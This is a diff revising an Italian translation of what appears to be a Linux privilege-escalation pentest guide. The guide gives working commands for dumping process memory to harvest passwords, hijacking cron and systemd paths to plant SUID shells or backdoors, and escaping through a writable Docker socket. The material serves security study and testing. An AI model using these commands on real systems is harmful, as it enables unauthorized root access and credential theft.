ptrace: > -> - **kernel.yama.ptrace_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -> - **kernel.yama.ptrace_scope = 1**: only a parent process can be debugged. -> - **kernel.yama.ptrace_scope = 2**: Only admin can use ptrace, as it required CAP_SYS_PTRACE capability. -> - **kernel.yama.ptrace_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +> - **kernel.yama.ptrace_scope = 0**: tutti i processi possono essere debugati, purché abbiano lo stesso uid. Questo è il modo classico in cui funzionava il ptracing. +> - **kernel.yama.ptrace_scope = 1**: solo un processo padre può essere debugato. +> - **kernel.yama.ptrace_scope = 2**: solo l'admin può usare ptrace, in quanto richiede la capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario un riavvio per abilitare nuovamente il ptracing. #### GDB -Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credentials. +Se hai accesso alla memoria di un servizio FTP (per esempio) potresti ottenere l'Heap e cercare al suo interno le credenziali. ```bash gdb -p (gdb) info proc mappings @@ -216,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Per un dato ID di processo, **maps mostrano come la memoria è mappata all'interno** dello spazio di indirizzamento virtuale di quel processo; mostrano anche i **permessi di ogni regione mappata**. Il file pseudo **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **posizionarci nel file mem e dumpare tutte le regioni leggibili** in un file. +Per un dato PID, **maps** mostrano come la memoria è mappata nello spazio di indirizzamento virtuale di quel processo; mostrano anche i **permessi di ciascuna regione mappata**. Il pseudo-file **mem** **espone la memoria stessa del processo**. Dal file **maps** sappiamo quali **regioni di memoria sono leggibili** e i loro offset. Usiamo queste informazioni per **seek into the mem file and dump all readable regions** in un file. ```bash procdump() ( @@ -231,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuali del kernel è accessibile tramite /dev/kmem.\ -Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo kmem +`/dev/mem` fornisce accesso alla memoria **fisica** del sistema, non alla memoria virtuale. Lo spazio di indirizzi virtuale del kernel è accessibile tramite /dev/kmem.\ +Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump per Linux -ProcDump è una rivisitazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Disponibile su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump è una reinterpretazione per Linux del classico strumento ProcDump della suite Sysinternals per Windows. Disponibile su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -267,11 +266,11 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Strumenti -Per dumpare la memoria di un processo puoi usare: +Per effettuare il dump della memoria di un processo puoi usare: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e dumpare il processo di tua proprietà -- Script A.5 da [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Puoi rimuovere manualmente i requisiti di root e effettuare il dump del processo di tua proprietà +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (richiede root) ### Credenziali dalla memoria del processo @@ -282,23 +281,23 @@ Se trovi che il processo authenticator è in esecuzione: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Puoi dump the process (vedi le sezioni precedenti per trovare diversi modi per dump the memory of a process) e cercare credentials all'interno della memory: +Puoi fare il dump del processo (vedi le sezioni precedenti per trovare diversi modi per fare il dump della memory di un processo) e cercare credentials all'interno della memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruberà credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi root per funzionare correttamente. +Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **ruberà credenziali in chiaro dalla memoria** e da alcuni **file ben noti**. Richiede privilegi di root per funzionare correttamente. | Funzionalità | Nome processo | | ------------------------------------------------- | --------------------- | | Password GDM (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| VSFTPd (connessioni FTP attive) | vsftpd | +| Apache2 (sessioni HTTP Basic Auth attive) | apache2 | +| OpenSSH (sessioni SSH attive - uso di sudo) | sshd: | #### Regex di ricerca/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -314,7 +313,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Job pianificati/Cron jobs +## Pianificati/Cron jobs Verifica se qualche job pianificato è vulnerabile. Forse puoi sfruttare uno script eseguito da root (wildcard vuln? puoi modificare file che root usa? usare symlinks? creare file specifici nella directory che root usa?). ```bash @@ -322,14 +321,14 @@ crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -### PATH di Cron +### Cron path -Per esempio, all'interno di _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Ad esempio, dentro _/etc/crontab_ puoi trovare il PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ (_Nota come l'utente "user" abbia privilegi di scrittura su /home/user_) -Se in questo crontab l'utente root tenta di eseguire un comando o uno script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ -Allora, puoi ottenere una shell root usando: +Se in questo crontab l'utente root prova ad eseguire un comando o script senza impostare il PATH. Per esempio: _\* \* \* \* root overwrite.sh_\ +Quindi puoi ottenere una shell root usando: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed @@ -337,44 +336,44 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron che esegue uno script con un wildcard (Wildcard Injection) -Se uno script viene eseguito da root e contiene un “**\***” all'interno di un comando, potresti sfruttarlo per causare comportamenti imprevisti (come privesc). Esempio: +Se uno script eseguito da root contiene un “**\***” all'interno di un comando, puoi sfruttarlo per ottenere comportamenti imprevisti (come privesc). Esempio: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (nemmeno** _**./\***_ **lo è).** +**Se il wildcard è preceduto da un percorso come** _**/some/path/\***_ **, non è vulnerabile (anche** _**./\***_ **non lo è).** -Leggi la pagina seguente per altri wildcard exploitation tricks: +Leggi la seguente pagina per ulteriori wildcard exploitation tricks: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink +### Sovrascrittura di script Cron e symlink -Se puoi **modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: +Se **puoi modificare uno script cron** eseguito da root, puoi ottenere una shell molto facilmente: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Se lo script eseguito da root usa una **directory su cui hai pieno accesso**, potrebbe essere utile eliminare quella cartella e **creare un symlink verso un'altra** che serva uno script controllato da te +Se lo script eseguito da root usa una **directory su cui hai accesso completo**, potrebbe essere utile eliminare quella cartella e **creare una symlink che punti a un'altra cartella** che serva uno script controllato da te ```bash ln -d -s ``` ### Cron jobs frequenti -Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Potresti approfittarne per escalare i privilegi. +Puoi monitorare i processi per cercare processi che vengono eseguiti ogni 1, 2 o 5 minuti. Forse puoi approfittarne per escalate privileges. -Per esempio, per **monitorare ogni 0.1s durante 1 minuto**, **ordinare per comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti di più, puoi fare: +Per esempio, per **monitorare ogni 0,1 s per 1 minuto**, **ordinare per i comandi meno eseguiti** e cancellare i comandi che sono stati eseguiti di più, puoi fare: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (monitorerà ed elencherà ogni processo che viene avviato). +**Puoi anche usare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che viene avviato). ### Cron jobs invisibili -È possibile creare un cronjob **mettendo un carriage return dopo un commento** (senza carattere newline), e il cron job funzionerà. Esempio (nota il carattere carriage return): +È possibile creare un cronjob **mettendo un carriage return dopo un commento** (senza newline character), e il cron job funzionerà. Esempio (nota il carattere carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -382,12 +381,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### File _.service_ scrivibili -Controlla se puoi scrivere qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio è **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario aspettare il riavvio della macchina).\ -Ad esempio crea il tuo backdoor all'interno del file .service con **`ExecStart=/tmp/script.sh`** +Verifica se puoi scrivere un file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** la tua **backdoor quando** il servizio è **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere che la macchina venga riavviata).\ +Ad esempio crea la tua backdoor dentro il file .service con **`ExecStart=/tmp/script.sh`** -### Binari di servizio scrivibili +### Scrivibili service binaries -Tieni presente che se hai **permessi di scrittura sui binari eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi verranno rieseguiti le backdoor verranno eseguite. +Tieni presente che se hai **permessi di scrittura sui binaries eseguiti dai servizi**, puoi modificarli per inserire backdoor in modo che quando i servizi vengono rieseguiti le backdoor vengano eseguite. ### systemd PATH - Percorsi relativi @@ -395,74 +394,73 @@ Puoi vedere il PATH usato da **systemd** con: ```bash systemctl show-environment ``` -Se scopri che puoi **write** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **relative paths being used on service configurations** in file come: +Se scopri che puoi **write** in una qualsiasi delle cartelle del percorso, potresti essere in grado di **escalate privileges**. Devi cercare **relative paths being used on service configurations** file come: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Quindi, crea un **eseguibile** con lo **stesso nome del binary del percorso relativo** all'interno della cartella PATH di systemd che puoi scrivere, e quando al servizio viene richiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi, ma verifica se puoi usare `sudo -l`). +Poi, crea un **eseguibile** con lo **stesso nome del binario corrispondente al percorso relativo** all'interno della cartella PATH di systemd in cui puoi scrivere, e quando al servizio viene chiesto di eseguire l'azione vulnerabile (**Start**, **Stop**, **Reload**), la tua **backdoor verrà eseguita** (gli utenti non privilegiati di solito non possono avviare/fermare i servizi; verifica però se puoi usare `sudo -l`). -**Per saperne di più sui servizi usa `man systemd.service`.** +**Learn more about services with `man systemd.service`.** ## **Timers** -**Timers** sono systemd unit files il cui nome termina in `**.timer**` e che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron, in quanto hanno supporto integrato per eventi basati sul calendario e per eventi temporali monotoni e possono essere eseguiti in modo asincrono. +**Timers** sono file di unità systemd il cui nome termina in `**.timer**` che controllano file o eventi `**.service**`. I **Timers** possono essere usati come alternativa a cron in quanto hanno supporto integrato per eventi basati sul calendario e per eventi su tempo monotono e possono essere eseguiti in modo asincrono. -Puoi elencare tutti i timer con: +Puoi elencare tutti i timers con: ```bash systemctl list-timers --all ``` -### Timer scrivibili +### Writable timers -Se puoi modificare un timer, puoi far eseguire alcune unità esistenti di systemd.unit (come una `.service` o una `.target`) +Se puoi modificare un timer, puoi far sì che esegua alcune unità esistenti di systemd.unit (come un `.service` o un `.target`) ```bash Unit=backdoor.service ``` -Nella documentazione puoi leggere cos'è l'Unit: +Nella documentazione puoi leggere cos'è l'unità: -> L'Unit da attivare quando questo timer scade. L'argomento è un nome di unit, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito corrisponde a un service che ha lo stesso nome della timer unit, eccetto il suffisso. (Vedi sopra.) È raccomandato che il nome dell'unit attivata e il nome dell'unit del timer siano identici, eccetto per il suffisso. +> L'unità da attivare quando questo timer scade. L'argomento è un nome di unità, il cui suffisso non è ".timer". Se non specificato, questo valore predefinito è un servizio che ha lo stesso nome dell'unità timer, eccetto per il suffisso. (Vedi sopra.) Si raccomanda che il nome dell'unità che viene attivata e il nome dell'unità del timer abbiano lo stesso nome, eccetto per il suffisso. -Pertanto, per abusare di questo permesso dovresti: +Pertanto, per abusare di questa permission avresti bisogno di: -- Trovare qualche systemd unit (come una `.service`) che stia **eseguendo un binario scrivibile** -- Trovare qualche systemd unit che stia **eseguendo un percorso relativo** e sulla quale hai **privilegi di scrittura** sul **systemd PATH** (per impersonare quell'eseguibile) +- Trova qualche unità systemd (come una `.service`) che stia **eseguendo un binario scrivibile** +- Trova qualche unità systemd che stia **eseguendo un percorso relativo** e su cui hai **privilegi di scrittura** sulla **PATH di systemd** (per impersonare quell'eseguibile) **Per saperne di più sui timer usa `man systemd.timer`.** -### **Abilitazione del timer** +### **Abilitare il timer** -Per abilitare un timer hai bisogno dei privilegi root ed eseguire: +Per abilitare un timer sono necessari privilegi root ed eseguire: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Nota che il **timer** viene **attivato** creando un symlink verso di esso in `/etc/systemd/system/.wants/.timer` +Nota che il **timer** viene **attivato** creando un symlink a esso in `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) abilitano la **comunicazione tra processi** sulla stessa macchina o tra macchine diverse in modelli client-server. Utilizzano i normali file descriptor Unix per la comunicazione inter-computer e vengono configurati tramite file `.socket`. +Unix Domain Sockets (UDS) consentono la **comunicazione tra processi** sulla stessa macchina o su macchine diverse all'interno di modelli client-server. Utilizzano file descriptor Unix standard per la comunicazione tra macchine e sono configurati tramite file `.socket`. -I socket possono essere configurati usando file `.socket`. +Sockets can be configured using `.socket` files. -**Per saperne di più sui socket usa `man systemd.socket`.** All'interno di questo file è possibile configurare diversi parametri interessanti: +**Per saperne di più sui sockets usa `man systemd.socket`.** All'interno di questo file, si possono configurare diversi parametri interessanti: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma in sintesi servono a **indicare dove verrà effettuata l'ascolto** del socket (il percorso del file socket AF_UNIX, l'IPv4/6 e/o il numero di porta da ascoltare, ecc.) -- `Accept`: Accetta un argomento booleano. Se **true**, viene **generata un'istanza di servizio per ogni connessione in arrivo** e viene passato ad essa solo il socket di connessione. Se **false**, tutti i socket in ascolto vengono **passati all'unità di servizio avviata**, e viene generata una sola unità di servizio per tutte le connessioni. Questo valore è ignorato per i socket datagram e le FIFO dove una singola unità di servizio gestisce incondizionatamente tutto il traffico in ingresso. **Di default è false**. Per motivi di performance, si raccomanda di scrivere nuovi demoni in modo compatibile con `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** che i **socket**/FIFO in ascolto siano **creati** e bindati, rispettivamente. Il primo token della riga di comando deve essere un nome di file assoluto, seguito dagli argomenti per il processo. -- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** che i **socket**/FIFO in ascolto siano **chiusi** e rimossi, rispettivamente. -- `Service`: Specifica il nome dell'unità di **service** **da attivare** su **traffico in arrivo**. Questa impostazione è consentita solo per socket con Accept=no. Per default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Queste opzioni sono diverse ma in sintesi servono a **indicare dove verrà effettuato l'ascolto** del socket (il percorso del file socket AF_UNIX, l'indirizzo IPv4/6 e/o il numero di porta da ascoltare, ecc.) +- `Accept`: Accetta un argomento booleano. Se **true**, viene generata una **service instance per ogni connessione in arrivo** e solo il socket della connessione viene passato a essa. Se **false**, tutti i socket in ascolto vengono **passati all'unità di service avviata**, e viene generata una sola unità di service per tutte le connessioni. Questo valore è ignorato per i socket datagram e le FIFO, dove una singola unità di service gestisce incondizionatamente tutto il traffico in ingresso. **Default: false**. Per motivi di performance, è raccomandato scrivere nuovi daemon in modo compatibile con `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Accettano una o più righe di comando, che vengono **eseguite prima** o **dopo** la creazione e il binding dei **sockets**/FIFO, rispettivamente. Il primo token della riga di comando deve essere un nome file assoluto, seguito dagli argomenti per il processo. +- `ExecStopPre`, `ExecStopPost`: Comandi aggiuntivi che vengono **eseguiti prima** o **dopo** la chiusura e la rimozione dei **sockets**/FIFO, rispettivamente. +- `Service`: Specifica il nome dell'unità **service** da **attivare** sul **traffico in ingresso**. Questa impostazione è permessa solo per socket con Accept=no. Di default punta al service che ha lo stesso nome del socket (con il suffisso sostituito). Nella maggior parte dei casi non è necessario usare questa opzione. ### Writable .socket files -Se trovi un file `.socket` **scrivibile** puoi **aggiungere**, all'inizio della sezione `[Socket]`, qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e la backdoor verrà eseguita prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare che la macchina venga riavviata.**\ -_Note che il sistema deve utilizzare quella configurazione del file socket o la backdoor non verrà eseguita_ +Se trovi un file `.socket` **scrivibile**, puoi **aggiungere** all'inizio della sezione `[Socket]` qualcosa come: `ExecStartPre=/home/kali/sys/backdoor` e il backdoor verrà eseguito prima che il socket venga creato. Di conseguenza, **probabilmente dovrai aspettare il riavvio della macchina.**\ _Nota che il sistema deve usare quella configurazione del file socket oppure il backdoor non verrà eseguito_ ### Writable sockets -Se **identifichi un socket scrivibile** (_ora stiamo parlando dei Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. +Se **identifichi un socket scrivibile** (_ora stiamo parlando di Unix Sockets e non dei file di configurazione `.socket`_), allora **puoi comunicare** con quel socket e magari sfruttare una vulnerabilità. -### Enumerate Unix Sockets +### Enumerare Unix Sockets ```bash netstat -a -p --unix ``` @@ -475,7 +473,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Esempio di exploitation:** +**Exploitation example:** {{#ref}} @@ -484,36 +482,36 @@ socket-command-injection.md ### HTTP sockets -Nota che potrebbero esserci dei sockets in ascolto di richieste HTTP (_non mi riferisco ai file .socket ma ai file che fungono da unix sockets_). Puoi verificarlo con: +Nota che potrebbero esserci alcuni **sockets listening for HTTP** requests (_non sto parlando di .socket files ma dei file che agiscono come unix sockets_). Puoi verificarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Se il socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con esso e magari **exploit qualche vulnerabilità**. +Se il socket **risponde a una richiesta HTTP**, allora puoi **comunicare** con esso e magari **sfruttare qualche vulnerabilità**. -### Docker Socket scrivibile +### Docker socket scrivibile -Il Docker socket, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Possedere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. +Il Docker socket, spesso trovato in `/var/run/docker.sock`, è un file critico che dovrebbe essere protetto. Per impostazione predefinita, è scrivibile dall'utente `root` e dai membri del gruppo `docker`. Avere accesso in scrittura a questo socket può portare a privilege escalation. Ecco una panoramica di come questo può essere fatto e metodi alternativi se il Docker CLI non è disponibile. -#### **Privilege Escalation con Docker CLI** +#### **Privilege Escalation with Docker CLI** Se hai accesso in scrittura al Docker socket, puoi escalate privileges usando i seguenti comandi: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Questi comandi permettono di eseguire un container con accesso di livello root al file system dell'host. +Questi comandi permettono di eseguire un container con accesso root al file system dell'host. -#### **Uso diretto dell'API Docker** +#### **Utilizzo diretto della Docker API** -In casi in cui la Docker CLI non è disponibile, il Docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. +Nei casi in cui il Docker CLI non è disponibile, il docker socket può comunque essere manipolato usando la Docker API e comandi `curl`. -1. **Elenca le immagini Docker:** Recupera la lista delle immagini disponibili. +1. **Elencare Docker images:** Recupera la lista delle immagini disponibili. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Crea un container:** Invia una richiesta per creare un container che monta la directory root del sistema host. +2. **Create a Container:** Invia una richiesta per creare un container che monta la directory root del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -525,7 +523,7 @@ Avvia il container appena creato: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Collegarsi al container:** Usa `socat` per stabilire una connessione al container, permettendo l'esecuzione di comandi al suo interno. +3. **Attach to the Container:** Usa `socat` per stabilire una connessione al container, abilitando l'esecuzione di comandi al suo interno. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -535,31 +533,31 @@ Connection: Upgrade Upgrade: tcp ``` -Dopo aver stabilito la connessione con `socat`, puoi eseguire comandi direttamente nel container con accesso di livello root al file system dell'host. +Dopo aver stabilito la connessione `socat`, puoi eseguire comandi direttamente nel container con accesso root al file system dell'host. -### Altri +### Others -Nota che se hai permessi di scrittura sul docker socket perché sei **nel gruppo `docker`** hai [**altre modalità per escalare i privilegi**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API è in ascolto su una porta** puoi anche riuscire a comprometterla](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Nota che se hai permessi di scrittura sul docker socket perché sei **all'interno del gruppo `docker`** hai [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Se la [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising) è possibile comprometterla. -Consulta **altre modalità per evadere da docker o abusarne per escalare i privilegi** in: +Consulta **more ways to break out from docker or abuse it to escalate privileges** in: {{#ref}} docker-security/ {{#endref}} -## Escalation dei privilegi con Containerd (ctr) +## Containerd (ctr) privilege escalation -Se trovi di poter usare il comando **`ctr`**, leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: +Se scopri di poter usare il comando **`ctr`** leggi la pagina seguente in quanto **you may be able to abuse it to escalate privileges**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## Escalation dei privilegi con **RunC** +## **RunC** privilege escalation -Se trovi di poter usare il comando **`runc`**, leggi la pagina seguente poiché **potresti riuscire ad abusarne per escalare i privilegi**: +Se scopri di poter usare il comando **`runc`** leggi la pagina seguente in quanto **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -568,15 +566,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus è un sofisticato sistema di **inter-Process Communication (IPC)** che permette alle applicazioni di interagire efficacemente e condividere dati. Progettato per i moderni sistemi Linux, offre un framework robusto per varie forme di comunicazione tra applicazioni. +D-Bus è un sofisticato **inter-Process Communication (IPC) system** che permette alle applicazioni di interagire e condividere dati in modo efficiente. Progettato per il moderno sistema Linux, offre un framework robusto per diverse forme di comunicazione tra applicazioni. -Il sistema è versatile, supportando IPC di base che migliora lo scambio di dati tra processi, ricordando gli **enhanced UNIX domain sockets**. Inoltre, facilita la trasmissione di eventi o segnali, favorendo un'integrazione fluida tra i componenti di sistema. Per esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in arrivo può indurre un lettore musicale a silenziarsi, migliorando l'esperienza utente. Inoltre, D-Bus supporta un sistema di oggetti remoti, semplificando richieste di servizio e invocazioni di metodi tra applicazioni, razionalizzando processi che prima erano complessi. +Il sistema è versatile e supporta IPC di base che migliora lo scambio di dati tra processi, ricordando delle **enhanced UNIX domain sockets**. Inoltre, favorisce la broadcast di eventi o segnali, promuovendo un'integrazione fluida tra i componenti di sistema. Ad esempio, un segnale da un daemon Bluetooth riguardo a una chiamata in entrata può indurre un music player a silenziarsi, migliorando l'esperienza utente. D-Bus supporta anche un sistema di oggetti remoti, semplificando le richieste di servizio e le invocazioni di metodi tra applicazioni, snellendo processi che tradizionalmente erano complessi. -D-Bus opera su un modello di **allow/deny**, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) in base all'effetto cumulativo delle regole di policy applicabili. Queste policy specificano le interazioni con il bus, potenzialmente permettendo un'escalation di privilegi attraverso lo sfruttamento di tali permessi. +D-Bus opera su un modello di allow/deny, gestendo i permessi dei messaggi (chiamate di metodo, emissione di segnali, ecc.) basandosi sull'effetto cumulativo delle regole di policy che corrispondono. Queste policy specificano le interazioni con il bus e possono potenzialmente consentire privilege escalation tramite lo sfruttamento di questi permessi. -Viene fornito un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf`, che dettaglia i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. +Un esempio di tale policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` è fornito, dettagliante i permessi per l'utente root di possedere, inviare e ricevere messaggi da `fi.w1.wpa_supplicant1`. -Le policy senza un utente o gruppo specificato si applicano universalmente, mentre le policy con contesto "default" si applicano a tutti quelli non coperti da altre policy specifiche. +Le policy senza un utente o gruppo specificato si applicano in modo universale, mentre le policy nel contesto "default" si applicano a tutti non coperti da altre policy specifiche. ```xml @@ -594,7 +592,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Rete** -È sempre interessante enumerare la rete e determinare la posizione della macchina. +È sempre interessante enumerare la rete e capire la posizione della macchina. ### Enumerazione generica ```bash @@ -619,7 +617,7 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Open ports +### Porte aperte Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei riuscito a interagire prima di accedervi: ```bash @@ -628,7 +626,7 @@ Controlla sempre i servizi di rete in esecuzione sulla macchina con cui non sei ``` ### Sniffing -Controlla se puoi sniff traffic. Se puoi, potresti essere in grado di ottenere alcune credentials. +Verifica se puoi sniff traffic. Se puoi, potresti essere in grado di ottenere alcune credenziali. ``` timeout 1 tcpdump ``` @@ -636,7 +634,7 @@ timeout 1 tcpdump ### Enumerazione Generica -Verifica **chi** sei, quali **privilegi** hai, quali **utenti** sono nei sistemi, quali possono effettuare il **login** e quali hanno **root privileges:** +Verifica **chi** sei, quali **privilegi** hai, quali **utenti** sono nei **sistemi**, quali possono **accedere** e quali hanno **privilegi di root:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -658,14 +656,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Big UID +### UID grande -Alcune versioni di Linux sono state colpite da un bug che consente agli utenti con **UID > INT_MAX** di elevare i privilegi. Maggiori info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Sfruttalo** usando: **`systemd-run -t /bin/bash`** +Alcune versioni di Linux sono state colpite da un bug che permette agli utenti con **UID > INT_MAX** di elevare i privilegi. 